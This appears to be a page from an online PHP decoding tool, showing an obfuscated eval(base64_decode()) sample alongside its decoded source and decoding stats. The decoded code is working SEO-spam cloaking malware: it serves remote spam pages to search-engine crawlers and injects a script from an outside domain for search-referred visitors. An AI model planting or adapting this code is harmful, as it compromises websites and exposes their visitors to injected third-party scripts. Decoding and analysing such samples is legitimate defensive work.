Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$Ag0ci5Ol="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($Ag0ci5Ol("ID8+PD9wa..

Decoded Output download

 ?><?php
  set_time_limit(0);
  error_reporting(0);
  header("Content-Type: text/html;charset=utf-8");
  define('URI', $_SERVER['REQUEST_URI']);
  define('host', base64_decode('aHR0cHM6Ly9qLnRvcGluZGlhbnNpdGVzLmNvbS8='));
  define('MULU','down|game|ios|app|doc|slot|play|vivo|bet');
  function isEngines($key){return stristr($key, 'Googlebot') !== false||stristr($key, 'Bingbot') !== false||stristr($key, 'Yahoo!') !== false;}
  function isIncludes(){$re = 0;$temp = explode('|',MULU);foreach($temp as $v){if(stristr(URI,$v) !== false){$re = 1;}}return $re;}
  function isRef($ref){return stristr($ref,'google') !== false||stristr($ref,'bing') !== false||stristr($ref,'yahoo') !== false;}
  function getContents($url){
    if (function_exists('curl_init')) {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
      $result = curl_exec($ch);
      curl_close($ch);
      if($result == NULL){
        return file_get_contents($url);
      }
      return $result;
    } else {
      return file_get_contents($url);
    }
  }
  $ref = $_SERVER["HTTP_REFERER"];
  $key = $_SERVER["HTTP_USER_AGENT"];
  $ym = $_SERVER['HTTP_HOST'];

  if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if(isIncludes()){
 
       echo getContents(host."?xhost=".$ym.'&url='.URI.'&ua=Googlespider'.'&f=bd');
      exit;
    }else{
      echo file_get_contents(host."/wailian.php");
    }
  } else {  
    if (isIncludes() && isRef($ref)) {  
      echo '<script type="text/javascript" src="https://facai.nuibijs.com/js/in.js"></script>';  
      exit;  
    }  
  }  
?>  <?php 

Did this file decode correctly?

Original Code

$Ag0ci5Ol="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($Ag0ci5Ol("ID8+PD9waHAKICBzZXRfdGltZV9saW1pdCgwKTsKICBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CiAgZGVmaW5lKCdVUkknLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgZGVmaW5lKCdob3N0JywgYmFzZTY0X2RlY29kZSgnYUhSMGNITTZMeTlxTG5SdmNHbHVaR2xoYm5OcGRHVnpMbU52YlM4PScpKTsKICBkZWZpbmUoJ01VTFUnLCdkb3dufGdhbWV8aW9zfGFwcHxkb2N8c2xvdHxwbGF5fHZpdm98YmV0Jyk7CiAgZnVuY3Rpb24gaXNFbmdpbmVzKCRrZXkpe3JldHVybiBzdHJpc3RyKCRrZXksICdHb29nbGVib3QnKSAhPT0gZmFsc2V8fHN0cmlzdHIoJGtleSwgJ0Jpbmdib3QnKSAhPT0gZmFsc2V8fHN0cmlzdHIoJGtleSwgJ1lhaG9vIScpICE9PSBmYWxzZTt9CiAgZnVuY3Rpb24gaXNJbmNsdWRlcygpeyRyZSA9IDA7JHRlbXAgPSBleHBsb2RlKCd8JyxNVUxVKTtmb3JlYWNoKCR0ZW1wIGFzICR2KXtpZihzdHJpc3RyKFVSSSwkdikgIT09IGZhbHNlKXskcmUgPSAxO319cmV0dXJuICRyZTt9CiAgZnVuY3Rpb24gaXNSZWYoJHJlZil7cmV0dXJuIHN0cmlzdHIoJHJlZiwnZ29vZ2xlJykgIT09IGZhbHNlfHxzdHJpc3RyKCRyZWYsJ2JpbmcnKSAhPT0gZmFsc2V8fHN0cmlzdHIoJHJlZiwneWFob28nKSAhPT0gZmFsc2U7fQogIGZ1bmN0aW9uIGdldENvbnRlbnRzKCR1cmwpewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgR29vZ2xlYm90LzIuMTsgK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbCkiKTsKICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7CiAgICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICBpZigkcmVzdWx0ID09IE5VTEwpewogICAgICAgIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgfQogICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0gZWxzZSB7CiAgICAgIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgIH0KICB9CiAgJHJlZiA9ICRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXTsKICAka2V5ID0gJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwogICR5bSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCiAgaWYgKGlzRW5naW5lcygka2V5KSkgewogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsKICAgIGlmKGlzSW5jbHVkZXMoKSl7CiAKICAgICAgIGVjaG8gZ2V0Q29udGVudHMoaG9zdC4iP3hob3N0PSIuJHltLicmdXJsPScuVVJJLicmdWE9R29vZ2xlc3BpZGVyJy4nJmY9YmQnKTsKICAgICAgZXhpdDsKICAgIH1lbHNlewogICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKGhvc3QuIi93YWlsaWFuLnBocCIpOwogICAgfQogIH0gZWxzZSB7ICAKICAgIGlmIChpc0luY2x1ZGVzKCkgJiYgaXNSZWYoJHJlZikpIHsgIAogICAgICBlY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2ZhY2FpLm51aWJpanMuY29tL2pzL2luLmpzIj48L3NjcmlwdD4nOyAgCiAgICAgIGV4aXQ7ICAKICAgIH0gIAogIH0gIAo/PiAgPD9waHAg"));  

Function Calls

base64_decode 1

Variables

$Ag0ci5Ol base64_decode

Stats

MD5 73629122853502d7fe1e1c5a3f8e581a
Eval Count 1
Decode Time 128 ms